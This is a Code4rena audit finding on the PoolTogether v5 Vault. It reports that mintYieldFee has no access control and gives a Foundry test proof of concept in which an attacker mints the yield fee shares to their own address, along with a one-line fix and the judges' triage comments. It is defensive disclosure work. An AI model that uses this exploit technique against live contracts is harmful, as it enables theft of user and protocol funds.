code-423n4 / 2023-07-pooltogether-findings

12 stars 7 forks source link

Yield fee can be stolen #406

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L395

Vulnerability details

Impact

The _yieldFeeRecipient can claim some of the fees earned in the vault by calling mintYieldFee. The function has no access control so anyone can call the function and claim the yield fee for themselves.

Proof of Concept

In the below test an attacker (Alice) mints the yield fee share to an controlled address (0xf) without being authorized to call the function.


function testStealYieldFee() external {

// setup
_setLiquidationPair();
vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
vault.setYieldFeeRecipient(bob);
underlyingAsset.mint(address(this), 1000e18);
_sponsor(underlyingAsset, vault, 1000e18, address(this));
_accrueYield(underlyingAsset, yieldVault, 10e18);
vm.startPrank(alice);
prizeToken.mint(alice, 1000e18);
uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));
_liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);
vm.stopPrank();

// pre checks
assertNotEq(vault.yieldFeeRecipient(), alice);
uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

// alice steal funds
vm.startPrank(alice);
vm.expectEmit();
emit MintYieldFee(alice, address(0xf), _yieldFeeShares);
vault.mintYieldFee(_yieldFeeShares, address(0xf));

// post checks
assertEq(vault.balanceOf(address(0xf)), _yieldFeeShares);
}

Tools Used

Manual review, VSCode

Recommended Mitigation Steps

Add access control so that only the fee recipient can call the function:

function mintYieldFee(uint256 _shares, address _recipient) external {
_requireVaultCollateralized();
+require(msg.sender == _yieldFeeRecipient, 'Wrong caller');
}

Assessed type

Access Control

c4-judge commented 1 year ago

Picodes marked the issue as primary issue

c4-judge commented 1 year ago

Picodes marked issue #396 as primary and marked this issue as a duplicate of 396

c4-judge commented 1 year ago

Picodes marked the issue as satisfactory